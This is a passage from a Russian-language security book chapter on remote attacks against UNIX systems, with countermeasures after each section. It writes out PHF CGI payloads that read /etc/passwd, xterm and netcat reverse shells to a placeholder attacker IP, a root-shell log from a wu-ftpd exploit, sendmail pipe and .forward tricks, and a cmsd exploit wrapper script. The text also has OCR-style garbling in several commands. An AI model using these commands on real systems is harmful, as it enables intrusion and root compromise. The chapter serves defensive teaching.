Обсудив два основных метода получения доступа к системе UNIX, необходимо поговорить и об методах, используемых для получения доступа к командной оболочке (shell account access). Необходимо помнить, что основной целью любого взломщика является получение доступа к командной строке или к командной оболочке интересующей его системы. Традиционный метод получения интерактивного доступа к командной оболочке заключается в удаленной регистрации на сервере UNIX с помощью таких программ, как telnet, rlogin или ssh. Кроме того, можно выполнять команды, используя утилиты rsh, ssh, или rexec, не проходя этапа удаленной регистрации. У вас может возникнуть вопрос — а что, если все службы, поддерживающие удаленный доступ, отключены или заблокированы на уровне брандмауэра? Может ли в этом случае взломщик получить доступ к командной оболочке целевой системы? Хороший вопрос. Давайте рассмотрим один пример, на котором можно исследовать различные методы, с помощью которых взломщик может получить интерактивный доступ к командной оболочке UNIX. Эти методы иллюстрируются на рис. 8.1.

Рис. 8.1. Упрощенная архитектура демилитаризованной зоны

Предположим, что взломщик пытается получить доступ к Web-серверу, работающему под управлением операционной системы UNIX, который находится в сегменте так называемой "демилитаризованной зоны" (DMZ) — небольшой сети, размешенной за промышленным маршрутизатором или брандмауэром, защищающим внутреннюю сеть. Тип и модель брандмауэра или маршрутизатора не имеют особого значения. Важно лишь понимать, что такое устройство относится к классу маршрутизирующих брандмауэров, которые не выполняют функций сервера-посредника ни для одной из служб. Предположим, что единственные службы, которая поддерживается брандмауэром, — это HTTP (порт 80) и HTTP поверх SSL (HTTPS) (порт 443). Теперь предположим, что Web-сервер не может противостоять попыткам взлома, например, основанным на изъяне PHF. Кроме того, пусть Web-сервер работает на уровне привилегий пользователя nobody, что является широко распространенной практикой и считается хорошим решением с точки зрения безопасности. Таким образом, если взломщику удастся проникнуть на Web-сервер, используя недостатки в обработке ввода PHF, он сможет выполнять код на сервере с уровнем привилегий пользователя nobody. Это, конечно, важно, но возможность запуска выполняемого кода — лишь первый шаг в получении интерактивного доступа к командной оболочке.

Операции в системе X

После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентная программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера. Вот так — быстро и просто.
Давайте посмотрим, как с использованием изъяна PHF злоумышленник может получить результаты, выходящие за рамки простого отображения содержимого файла passwd. Как вы помните, для достижения последнего результата использовалась следующая команда. /cgi-bin/phf?Qalias=x%0a/bin/cat/%20/etc/passwd
Поскольку на Web-сервере взломщик может выполнять любые удаленные команды, то немного модифицированный вариант позволит получить и интерактивный доступ к командной оболочке. Все, что для этого нужно сделать, — это заменить команду /bin/cat /etc/passwd командой /usr/X11R6/bin/xterm-ut -display IР_хакера : 0 . 0, как показано ниже.
/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/
xterm%20-ut%20-display IР_хакера:0.0
Это приведет к тому, что удаленный сервер запустит xterm и выведет окно на X-сервере хакера, имеющего IP-адрес 1Р_хакера, с идентификатором окна 0 и идентификатором экрана 0. С этого момента в руках взломщика окажется полный контроль над целевым компьютером. Кроме того из-за использования параметра -ut это событие не будет зарегистрировано системой. Кроме того, используемые в команде символы %20 представляют собой шестнадцатеричное представление символов пробела, с помощью которых параметры отделяются друг от друга (для получения более подробной информации воспользуйтесь командой man ascii). Таким образом, взломщик получил интерактивный доступ к командной оболочке без регистрации любой службой Web-сервера. Кроме того, вы, должно быть, обратили внимание на то, что в команде использован полный путь к исполняемому файлу xterm. Это сделано для того, чтобы обеспечить запуск программы независимо от того, правильно ли установлена переменная окружения PATH. Применение полного имени файла гарантирует безусловный запуск соответствующей программы.

Реверсивный сеанс telnet и обратные каналы

Безусловно, программа xterm представляет собой самое простое средство получения контроля над системой UNIX. Однако как быть в том случае, если об этом знает не только злоумышленник, но и администратор, удаливший систему X? Эта мера, конечно же, повысит безопасность системы UNIX, но одной ее недостаточно, так как в распоряжении потенциального взломщика остается еще много других методов получения несанкционированного доступа. Одним из таких методов, в частности, является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Нужно напомнить, что в рассматриваемом примере взломщик не может получить интерактивный доступ к командной оболочке обычным способом, так как все порты, кроме 80 и 443, блокируются брандмауэром. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал.
Для решения этой задачи можно воспользоваться несколькими методами. Первый из них, называемый реверсивный сеанс telnet, заключается в применении утилиты telnet для создания обратного канала от взламываемой системы к компьютеру взломщика. Название реверсивный сеанс telnet (reverse telnet) объясняется тем, что устанавливаемое с помощью команды telnet соединение инициализируется не системой взломщика, а системой, к которой он хочет получить доступ. В большинстве систем UNIX имеется клиент telnet и его использование практически никогда не ограничивается. Именно поэтому в тех случаях, когда программа xterm оказывается недоступной, telnet является вторым прекрасным средством, которое можно применить для создания обратного канала. Чтобы с помощью команды telnet создать обратный канал, необходимо воспользоваться всемогущей утилитой netcat (nc). Для того чтобы другой компьютер мог связаться с вашим компьютером посредством утилиты telnet, необходимо, чтобы на последнем в режиме ожидания была запущена утилита nс, которая и обеспечит установку реверсивного соединения telnet. Для этого в двух отдельных окнах необходимо запустить на выполнение следующие команды.

[tsunami]! nc -I -n -v -p 80
listening on [any] 80
[tsunami]! nc -1 -n -v -p 25
listening on [any] 25

Прежде чем запускать утилиту пс, убедитесь, что в вашей системе с входящими портами 8 С и 25 не связано никаких служб, находящихся в режиме ожидания запросов, например HTTPD или sendmail. Если такие службы имеются, необходимо завершить выполнение соответствующих процессов с помощью команды kill, чтобы освободить требуемые порты для утилиты пс. Параметр -1 означает, что утилиту пс необходимо запустить в режиме ожидания запросов; параметр -v включает режим вывода подробной информации; параметр -n указывает, что IP-адреса не нужно преобразовывать в имена узлов, а параметр -р определяет порт, который будет прослушиваться.
Возвращаясь к рассматриваемому примеру, отметим, что для инициализации реверсивного соединения telnet на взламываемом сервере необходимо запустить следующую команду, действие которой основано на наличии уже известного нам изъяна PHF.
/bin/telnet IР_хакера 80 | /bin/sh | /bin/telnet IР_хакера 25
Данная команда, представленная в виде параметра PHF, выглядит следующим образом.
/cgi-bin/phf?Qalias=
x%0a/bin/telnet%20IP_xaкepa %2080%20I%20/bin/sh%20
|%20/bin/telnet%20IP_xaкepa%2025
Давайте посмотрим, что происходит, когда Web-серверу броузер передает данную строку. С помощью команды /bin/telnet IР_хакера 80 на взламываемом узле запускается telnet и подключается к порту 80 нашего компьютера. Это позволит нам вводить команды, которые будут выполняться удаленным компьютером. В соответствии со стандартными соглашениями ввода/вывода системы UNIX все, что мы будем набирать на клавиатуре, будет перенаправляться в качестве ввода командной оболочке Bourne (/bin/sh). Выводимые же результаты с помощью конвейера будут перенаправлены командой /bin/telnet по адресу IР_хакера на порт 25. Все это вместе взятое и создаст реверсивный сеанс teinet-связи. отображаемый в двух окнах. Порты 80 и 25 выбраны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для создания исходящих соединений. Однако можно выбрать и любые другие порты, — лишь бы их использование для обмена данными не блокировались брандмауэром.
Второй метод создания обратного канала заключается в использовании самой утилиты nс. Для этого достаточно, чтобы программа nс уже присутствовала на сервере или могла быть помещена туда с помощью какого-либо механизма (например, через анонимный сеанс FTP). Как мы уже не раз отмечали, пс — это одна из лучших утилит. Поэтому совсем не удивительно, что в последнее время ее можно найти в комплекте поставки многих бесплатных версий UNIX. К сожалению, последнее обстоятельство имеет и обратную сторону — это повышает вероятность того, что хакеру даже не понадобится внедрять эту утилиту на интересующий его узел. Однако само присутствие пс на узле еще вовсе не означает, что ее можно сразу же использовать для создания обратного канала, поскольку нет никаких гарантий того, что она была скомпилирована с использованием директивы #def ine GAPING_SECURITY_HOLE, без которой параметр -е, используемый для создания обратного канала, применить не удастся. В нашем примере мы будем считать, что на узле каким-то образом оказалась нужная версия пс.
Подобно описанному выше telnet-методу, создание обратного канала с помощью утилиты пс состоит из двух этапов. Сначала необходимо выполнить следующую команду, которая впоследствии обеспечит взаимодействие с обратным каналом, созданным с использованием nс на взламываемом компьютере.
[tsunami]# nс -1 -n -v -p 80
После того как запущена утилита прослушивания, на удаленном узле необходимо выполнить следующую команду.
nс —е /bin/sh IР_хакера 80
Данная команда, представленная в форме, требуемой для использования изъяна PHF, имеет следующий вид.
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-
e%20/bin/sh%20IP_xaкepa%2080
Как только Web-сервер выполнит эту строку, с помощью утилиты nс будет создан обратный канал, который подключит командную оболочку (в данном случае — /bin/sh) к находящемуся в режиме ожидания компьютеру хакера. Это обеспечит интерактивный доступ к командной оболочке, причем соединение будет установлено самой взламываемой системой.

Контрмеры: защита от попыток создания обратных каналов

Противостоять попыткам создания обратного канала очень трудно. Самой лучшей превентивной мерой является применение всех средств обеспечения безопасности, что позволит устранить возможность использования подобного метода. К таким мерам относятся отключение ненужных служб и применение всех модулей обновления сразу же после их появления.
Среди прочих защитных мероприятий можно выделить следующие.

•  Удалите систему X со всех компьютеров, которым требуется высокий уровень обеспечения безопасности. Это позволит защититься не только от потенциальной опасности использования взломщиками программы xterm, но и от служащих, которые могут попытаться расширить свои полномочия до привилегий суперпользователя root, воспользовавшись недостаточной степень защиты Х-сервера.
•  Если Web-сервер функционирует с привилегиями пользователя nobody, настройте разрешения для исполняемых файлов, например telnet, таким образом, чтобы запретить их выполнение всем пользователям, за исключением владельцев этих файлов и определенных групп (например, с использованием команды chmod 750 telnet). Это позволит сохранить возможность запуска telnet легитимными пользователями, но лишит такой возможности те программы, использующие идентификаторы пользователей, которые не должны запускать telnet в процессе своей работы.
•  В некоторых случаях можно настроить брандмауэр таким образом, чтобы запретить соединения, исходящие от Web-сервера или другого внутреннего узла. Это особенно полезно, если брандмауэр построен на основе прокси-сервера. поскольку создать обратный канал через такой брандмауэр, выполняющий аутентификацию, достаточно сложно, но все же возможно.

Часто используемые методы удаленного взлома

Хотя мы не сможем описать все возможные методы удаленного взлома, однако, как нам кажется, у вас уже должно было выработаться общее представление об основных принципах подобных атак, на основании которого вы сможете самостоятельно разобраться в тех или иных конкретных методах. Перед завершением обсуждения методов удаленного взлома мы хотим рассмотреть несколько важных служб, часто подвергающимся таким атакам, а также указать, с помощью каких контрмер можно снизить риск использования этих служб для проникновения в систему в тех случаях, когда отключение службы не представляется возможным.

TFTP

Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств. таких как маршрутизаторы. TFTP — это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Практически каждый случай, когда взломщик встречает систему, на которой запущен сервер TFTP, заканчивается попыткой получения через TFTP копии файла /etc/passwd. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать этот файл. Тем самым в руки взломщика попадает файл с информацией о пользовательских именах, после чего он может попробовать подобрать пароль. Кроме того, если пароли не хранятся в файле /etc/shadow, то, помимо пользовательских имен, взломщик получает также и зашифрованные пароли, в результате чего им может быть предпринята попытка их взлома или подбора.
Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Это очень хорошая мера предосторожности, однако все же возможность получения файлов с диска взламываемого компьютера, пусть даже лишь из одного каталога /tftpboot, может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов. имена которых обычно имеют вид <имя_узла_маршрутизатора> .cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP. Нам приходилось встречать целые сети, взломанные в течение нескольких часов с помощью подключения к незащищенному TFTP-серверу и получения от него конфигурационных файлов маршрутизаторов. Извлечь из этих файлов пароли и строки доступа SNMP — это лишь дело техники. Как правило, эти сведения оказываются идентичными для каждого сетевого устройства.

Контрмеры: защита TFTP

Убедитесь в том, что сервер TFTP ограничивает доступ к определенным каталогам, таким как /tftpboot. Это воспрепятствует взломщикам получить важную информацию о конфигурации системы. Кроме того, рассмотрите возможность реализации механизма управления доступом на уровне всей сети в целом и на уровне отдельных узлов, который запрещал бы несанкционированный доступ к серверу TFTP.

FTP

В настоящее время протокол FTP (File Transfer Protocol), позволяющий обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный пользователь может получить доступ к любому каталогу и файлу системы. Такая оплошность системного администратора дает возможность взломщику найти важные конфигурационные файлы, прежде всего /etc/passwd. Что еще хуже, многие FTP-серверы позволяют всем пользователям записывать информацию в свои каталоги. Такая "гремучая смесь" является "миной замедленного действия", подложенной под систему защиты. Например, взломщик может поместить файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к системе с помощью утилиты rlogin. Кроме того, многие FTP-серверы взломаны охотниками за программным обеспечением, которые помешают нелегальные программы в скрытых каталогах. Поэтому, если нагрузка на вашу сеть возрастет за день в три раза, это может служить косвенным признаком того, что вашу систему используют для копирования очередной пиратской копии.
Помимо риска, связанного с разрешением анонимных подключений, FTP-серверы вносят свою лепту и в создание проблем, возникающих при переполнении буфера и других нарушениях. Одно из таких слабых мест было недавно обнаружено в системах, использующих для поддержки протокола FTP программу wu-ftpd 2.6.0 и ее более ранние версии (ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02). Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf () (%f, %p, %n и т.д.) и выполнить произвольный код с привилегиями root. Вот как выглядит такая атака, примененная к системе RedHat 6.2.

[thunder]# wugod -t 192.168.1.10 -sO
Target: 192.168.1.10 (ftp/<shellcode>):
RedHat 6.2 (?) with wuftpd
2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr:
Oxbfffb028, Shellcode: 152
loggin into system.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-for example: joe@thunder
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists:
[87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our
return address by format string
STEP 4 : Ptr address test: Oxbfffb028
(if it is not Oxbfffb028 ^С
me now)
STEP 5 : Sending code.,
this will take about 10 seconds. Press ^\
to leave shell
Linux shadow 2.2.14-5.0
#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.
Еще один изъян в системе безопасности, обнаруженный в системе BSD еще в 1993 году, связан с демоном ftpd. Его описание можно найти по адресу http://www.cert.org/advisories/CA-2000-13.html.
Хотя в данной книге этот вопрос подробно рассматриваться не будет, помните о том, что наличие подобного изъяна также может оказаться достаточно опасным.

Контрмеры: защита FTP

Хотя протокол FTP очень полезен, необходимо помнить, что разрешение анонимного доступа к FTP-серверу может весьма пагубно сказаться на "самочувствии" вашего сервера. Оцените необходимость использования FTP-сервера и определите, нужно ли предоставлять возможность анонимного доступа. В таких случаях для защиты сервера необходимо предпринять специальные меры. Очень важно установить самые последние версии модулей обновления, а также запретить или как минимум oipami-чить количество каталогов, в которые разрешена запись всем пользователям. А лучше вовсе откажитесь от таких каталогов.

sendmail

Данная тема столь обширна, что вполне заслуживает отдельной книги. С чего же начать? Программа sendmail — это агент рассылки электронной почты (МТА — mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором функций, в связи с чем позволяет настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения новых изъянов в системе зашиты по-прежнему достаточно велика.
Как вы помните из главы 3, с помощью программы sendmail, а точнее ее команд vrfy и ехрп, можно идентифицировать пользовательские учетные записи. Это само по себе представляет угрозу, однако данная угроза — ничто по сравнению с той опасностью, которую таит в себе работающая программа sendmail. За десять последних лет в sendmail были выявлены целые россыпи изъянов защиты. К сожалению, необходимо констатировать, что список ее недостатков еще далеко не полон — несмотря на столь давний срок эксплуатации, в программе постоянно обнаруживаются новые и новые проблемы. Многие из этих проблем связаны с возникновением состояния переполнения буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Одним из самых популярных методов взлома sendmail заключался в использовании недостатка sendmail 4.1, проявляющегося при перенаправлении ввода-вывода. Суть проблемы состояла в том, что взломщик с использованием конвейера мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin.

hello
mail from: |
rcpt to: bounce
data
mail from: bin
rcpt to: | sed 4,/^$/d' | sh
data

Помимо универсальных методов, направленных на переполнение буфера или взлом при отсутствии проверки ввода, для получения несанкционированного доступа часто применяются средства, специфичные для sendmail. Например, одним из распространенных методов является создание или модификация пользовательского файла -/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле -/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении. Очевидно, что для взломщика этот файл представляет собой "лакомый кусочек", а его модификация открывает перед злоумышленником весьма богатые возможности. Давайте рассмотрим пример того, что взломщик может добавить в файл ~/.forward выбранной им жертвы.

[tsunami]$ cat > .forward
|"op /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
<crtl> D
[tsunami]$ cat .forward
I"cp /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"

Создав такой файл, взломщик помещает его в соответствующий пользовательский каталог взламываемой системы (естественно, при условии, что у него имеется право записи в этот каталог). Затем ему остается лишь отправить почту по адресу жертвы. [tsunami]$ echo hello chump | mail gk@targetsystem.com
Получение сообщения приведет к созданию в рабочем каталоге пользователя файла evil_shell. При запуске этого файла будет запущена командная оболочка с привилегиями, соответствующими уровню привилегий использованной взломщиком учетной записи.

Контрмеры: защита программы sendmail

Лучшим методом защиты от попыток взлома sendmail является отказ от ее использования во всех случаях, когда эта программа не используется для получения почты по сети. Если использовать sendmail все же необходимо, обязательно убедитесь в том, что в вашем распоряжении имеется ее самая свежая версия, в которой установлены все модули обновления системы защиты (http://www.sendmail.org). К другим мерам относится удаление из соответствующего файла всех псевдонимов. Исследуйте каждый псевдоним, который указывает на программу, а не на учетную запись пользователя. Кроме того, убедитесь, что разрешения, заданные для соответствующих файлов, запрещают внесение в них каких-либо изменений.
Существуют дополнительные утилиты, призванные восполнить недостаточную защищенность sendmail. Такими утилитами, например, являются smap и smapd — программы, входящие в комплект поставки пакета TIS, который можно бесплатно получить по адресу http://www.tis.com/research/software. Утилита smap используется для безопасного получения сообщений по сети и их размещения в специально выделенном каталоге. Утилита smapd периодически проверяет этот каталог и доставляет почту адресатам, используя для этого sendmail или какую-либо другую программу. Данный подход позволяет разорвать связь между sendmail и нелегальными пользователями, поскольку все соединения для получения почты устанавливает утилита smap, а не sendmail. Наконец, можно перейти к использованию более надежного агента МТА, такого как qmail. Программа qmail, написанная Дэном Бернштейном (Dan Bernstein),
представляет собой современный эквивалент sendmail. Одной из основных целей создания программы qmail было обеспечение безопасности при работе с электронной почтой, и в настоящее время она пользуется очень хорошей репутацией (подробнее см. по адресу http://www.qmail.org).
Кроме вышеупомянутых изъянов, программа sendmail зачастую неправильно конфигурируется, что позволяет с ее помощью рассылать спэмы. В программе sendmail версии 8.9 и выше реализованы функции, предотвращающие ее использование для таких целей. Для того чтобы получить об этом более подробную информацию и защитить узел от атак спэмеров, обратитесь по адресу http://www.sendmail.org/tips/relaying.html.

Службы удаленного вызова процедур (RPC)

Удаленный вызов процедур (RPC — Remote Procedure Call) — это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных — eXtemal Data Representation). Целью этой системы было обеспечение взаимодействия сетевой информационной службы (NIS — Network Information System) и сетевой файловой системы (NFS — Network File System), созданных компанией Sun. После разработки компанией Sun Microsystems службы RPC многие другие производители операционных систем семейства UNIX также стали включать поддержку RPC в свои продукты. С точки зрения обеспечения взаимодействия распространение и стандартизация RPC — это очень важно и полезно. Однако при разработке службы RPC вопросам безопасности практически не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся недостатки в уже используемом программном обеспечении и выпустить соответствующие модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в себе немало проблем, связанных с огромным количеством ошибок в системе защиты.
Как уже отмечалось в главе 3, при запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC. Ранее уже рассматривался метод получения списка запущенных служб RPC, заключающийся в сканировании портов с использованием утилиты rpcinfo или параметра -n (если служба portmapper блокируется на уровне брандмауэра). К сожалению, во многих версиях UNIX после загрузки по умолчанию включается режим поддержки RPC. Но это еще полбеды — настоящая проблема состоит в том, что многие службы RPC очень сложны и работают на уровне привилегий суперпользователя root. Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя. На момент написания данной книги взлому путем переполнения буфера были наиболее подвержены службы rpc. ttdbserverd (http: //www. cert.org/advisories/CA-98.11.tooltalk.html) И rpc.cmsd (http://www.cert. org/advisories/CA-99-08-cmsd.html), являющиеся частью стандартного рабочего стола (Common Desktop Environment — CDE). Поскольку обе службы работают на уровне привилегий суперпользователя, взломщику достаточно вызвать состояние переполнения буфера и создать обратный канал, воспользовавшись программой xterm либо установив реверсивный telnet-сеанс. К другим не менее опасным службам RPC относятся rpc. statd (http://www.cert.org/advisories/CA-99-05-statd-automountd.html) и rpc.mountd, которые оказываются активными при использовании сетевой файловой системы NFS (см. раздел "Nfs" ниже в этой главе). Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами. Вышеупомянутые службы представляют собой лишь несколько примеров проблем, которые может создать поддержка механизма RPC. Благодаря распределенной природе служб RPC и высокой сложности их компонентов, этот механизм часто является жертвой злоумышленников, что и продемонстрировано в следующем фрагменте.

[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103
Executing exploit...
rtable_create worked
clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection
reset
by peer

Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал с использованием программы xterm (рис. 8.2).

Рис. 8.2. Окно xterm, появившееся в результате использования утилиты cmsd. Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd

#!/bin/sh
if [ $# -It 4 ]; then

echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip 1grep
100068 = true - you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm -display
$4:0.0 &" $3 $2

Контрмеры: защита служб RFC

Лучшим методом защиты от удаленных атак является отключение всех служб RPC, в использовании которых нет острой необходимости. Если же какая-то служба RPC очень важна для работы сервера, подумайте над установкой какого-либо устройства управления доступом, с помощью которого связь с необходимыми портами RPC можно было бы разрешить только строго определенным узлам. В некоторых случаях эта задача может оказаться весьма непростой. Подумайте также над включением режима, запрещающего выполнение стека, если такой режим поддерживается вашей операционной системой. Наконец. попробуйте использовать Secure RPC, если имеющаяся в вашем распоряжении версия UNIX поддерживает такие средства. Secure RPC обеспечивает дополнительный уровень аутентификации, основанной на шифровании по открытому ключу. Помните, что Secure RPC — это не панацея, поскольку многие разработчики UNIX не поддерживают этого протокола. Другими словами, при использовании протокола Secure RPC повышается безопасность, но под угрозой может оказаться взаимодействие. Наконец, убедитесь в том, что установлены все самые последние модули обновления, разработанные поставщиком используемой вами системы.

NFS

В документах компании Sun Microsystems можно встретить такое определение: "Сеть — это и есть компьютер". Действительно, возможности компьютера, не подключенного к сети, гораздо уже, чем его собрата, включенного в локальную или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX. Именно поэтому администратор любой системы, разрешающей удаленный доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность использования системы NFS для проникновения в сеть очень высока, а нарушения такого рода являются одними из самых распространенных нарушений безопасности UNIX. Это связано, во-первых, с -тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему доступ.
Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Иными словами, любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Эта проблема относится к разряду тех, которые возникают из-за лени или халатности некоторых администраторов и встречаются сплошь и рядом. Взломщику даже не нужно взламывать такую удаленную систему — все что требуется, это смонтировать файловую систему с помощью средств NFS и найти любой интересующий его файл. Обычно можно экспортировать рабочие каталоги пользователей так, что с помощью удаленного доступа можно получить множество интересных файлов (например, целые базы данных). Более того, экспортируется даже корневой каталог, о последствиях чего даже не нужно говорить! Давайте рассмотрим один пример, а затем рассмотрим инструменты, с помощью которых из системы NFS можно извлечь дополнительную пользу.
Итак, проверим интересующую нас систему и определим, используется ли в ней система NFS и какие файловые системы экспортируются (если таковые имеются, конечно).

[tsunami]# rpcinfo -p quake
program vers proto port
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100235 1 tcp 32771
100068 2 udp 32772
100068 3 udp 32772
100068 4 udp 32772
100068 5 udp 32772
100024 1 udp 32773 status
100024 1 tcp 32773 status
100083 1 tcp 32772
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
300598 1 udp 32780
300598 1 tcp 32775
805306368 1 udp 32780
805306368 1 tcp 32775
100249 1 udp 32781
100249 1 tcp 32776
1342177279 4 tcp 32777
1342177279 1 tcp 32777
1342177279 3 tcp 32777
1342177279 2 tcp 32777
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs_acl
1C0227 3 udp 2049 nfs_acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100227 2 tcp 2049 nfs_acl
100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake
Export list for quake:
/ (everyone!
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, — это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.
